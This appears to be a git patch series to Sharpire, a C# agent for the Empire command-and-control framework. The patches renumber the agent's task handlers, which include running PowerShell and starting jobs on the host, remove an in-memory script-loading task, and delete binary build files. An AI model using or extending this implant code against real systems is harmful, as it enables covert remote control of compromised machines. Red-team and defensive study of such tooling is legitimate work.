From d0783235003f3faf3be6fb2b48f2959269922a3a Mon Sep 17 00:00:00 2001 From: coin Date: Sat, 21 Sep 2024 20:21:20 -0400 Subject: [PATCH 1/9] updated agent to new tasking format --- .gitignore | 6 +++++- Sharpire/Empire.Agent.Coms.cs | 34 +++++++++------------------------- Sharpire/Sharpire.csproj | 1 - 3 files changed, 14 insertions(+), 27 deletions(-) diff --git a/.gitignore b/.gitignore index bf322ff..74fa741 100644 --- a/.gitignore +++ b/.gitignore @@ -341,4 +341,8 @@ ASALocalRun/ healthchecksdb # Backup folder for Package Reference Convert tool in Visual Studio 2017 -MigrationBackup/ \ No newline at end of file +MigrationBackup/ + +# Ignore bin and obj directories +**/bin/ +**/obj/ \ No newline at end of file diff --git a/Sharpire/Empire.Agent.Coms.cs b/Sharpire/Empire.Agent.Coms.cs index eaf6180..bdd6607 100755 --- a/Sharpire/Empire.Agent.Coms.cs +++ b/Sharpire/Empire.Agent.Coms.cs @@ -260,9 +260,6 @@ private byte[] ProcessTasking(PACKET packet) return Task42(packet); case 43: return Task43(packet); - case 44: - jobTracking.jobs[taskId.ToString()].Status = "completed"; - return Task44(packet); case 50: jobTracking.jobs[taskId.ToString()].Status = "completed"; return GenerateRunningJobsTable(packet); @@ -273,20 +270,19 @@ private byte[] ProcessTasking(PACKET packet) jobTracking.jobs[taskId.ToString()].Status = "completed"; return EncodePacket(packet.type, Agent.RunPowerShell(packet.data), packet.taskId); case 101: + case 102: jobTracking.jobs[taskId.ToString()].Status = "completed"; return Task101(packet); - case 110: - jobTracking.StartAgentJob(packet.data, packet.taskId); - jobTracking.jobs[taskId.ToString()].Status = "running"; - return EncodePacket(packet.type, "Job started: " + taskId.ToString(), packet.taskId); - case 111: - return EncodePacket(packet.type, "Not Implemented", packet.taskId); - case 120: - jobTracking.jobs[taskId.ToString()].Status = "completed"; - return Task120(packet); case 121: jobTracking.jobs[taskId.ToString()].Status = "completed"; return Task121(packet); + case 122: + jobTracking.jobs[taskId.ToString()].Status = "completed"; + return Task122(packet); + case 123: + jobTracking.StartAgentJob(packet.data, packet.taskId); + jobTracking.jobs[taskId.ToString()].Status = "running"; + return EncodePacket(packet.type, "Job started: " + taskId.ToString(), packet.taskId); default: jobTracking.jobs[taskId.ToString()].Status = "error"; return EncodePacket(0, "Invalid type: " + packet.type, packet.taskId); @@ -593,7 +589,7 @@ public Byte[] Task43(PACKET packet) //Since Empire is using the COvenant tasks this is just taken from the Covenant Grunt // https://github.com/cobbr/Covenant/blob/master/Covenant/Data/Grunt/GruntHTTP/GruntHTTP.cs#L236 - public Byte[] Task44(PACKET packet) + public Byte[] Task122(PACKET packet) { const int Delay = 1; const int MAX_MESSAGE_SIZE = 1048576; @@ -715,18 +711,6 @@ public byte[] Task101(PACKET packet) return EncodePacket(packet.type, prefix + extension + output, packet.taskId); } - //////////////////////////////////////////////////////////////////////////////// - // Load PowerShell Script - //////////////////////////////////////////////////////////////////////////////// - public byte[] Task120(PACKET packet) - { - Random random = new Random(); - byte[] initializationVector = new byte[16]; - random.NextBytes(initializationVector); - jobTracking.ImportedScript = EmpireStager.aesEncrypt(sessionInfo.GetSessionKeyBytes(), initializationVector, Encoding.ASCII.GetBytes(packet.data)); - return EncodePacket(packet.type, "Script successfully saved in memory", packet.taskId); - } - //////////////////////////////////////////////////////////////////////////////// // Run an Agent Job //////////////////////////////////////////////////////////////////////////////// diff --git a/Sharpire/Sharpire.csproj b/Sharpire/Sharpire.csproj index 355463c..9e882cd 100755 --- a/Sharpire/Sharpire.csproj +++ b/Sharpire/Sharpire.csproj @@ -71,7 +71,6 @@ - From 81fc470e26163f91a7e60709b2299cd35fc659e7 Mon Sep 17 00:00:00 2001 From: coin Date: Sat, 21 Sep 2024 20:23:01 -0400 Subject: [PATCH 2/9] fixed commit files --- bin/Debug/.vs/Sharpire/v14/.suo | Bin 6144 -> 0 bytes bin/Debug/Sharpire.vshost.exe | Bin 21680 -> 0 bytes bin/Debug/Sharpire.vshost.exe.manifest | 11 ----------- ...harpire.csprojResolveAssemblyReference.cache | Bin 38614 -> 0 bytes 4 files changed, 11 deletions(-) delete mode 100644 bin/Debug/.vs/Sharpire/v14/.suo delete mode 100644 bin/Debug/Sharpire.vshost.exe delete mode 100644 bin/Debug/Sharpire.vshost.exe.manifest delete mode 100644 obj/Debug/Sharpire.csprojResolveAssemblyReference.cache diff --git a/bin/Debug/.vs/Sharpire/v14/.suo b/bin/Debug/.vs/Sharpire/v14/.suo deleted file mode 100644 index d4e7720b795700c98e10d2e47e8d02bd69413e03..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6144 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 diff --git a/bin/Debug/Sharpire.vshost.exe.manifest b/bin/Debug/Sharpire.vshost.exe.manifest deleted file mode 100644 index 061c9ca..0000000 --- a/bin/Debug/Sharpire.vshost.exe.manifest +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - - diff --git a/obj/Debug/Sharpire.csprojResolveAssemblyReference.cache b/obj/Debug/Sharpire.csprojResolveAssemblyReference.cache deleted file mode 100644 index 691a09d8e87264ef3ee11c3dd8a8d8581b1bd750..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 38614 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 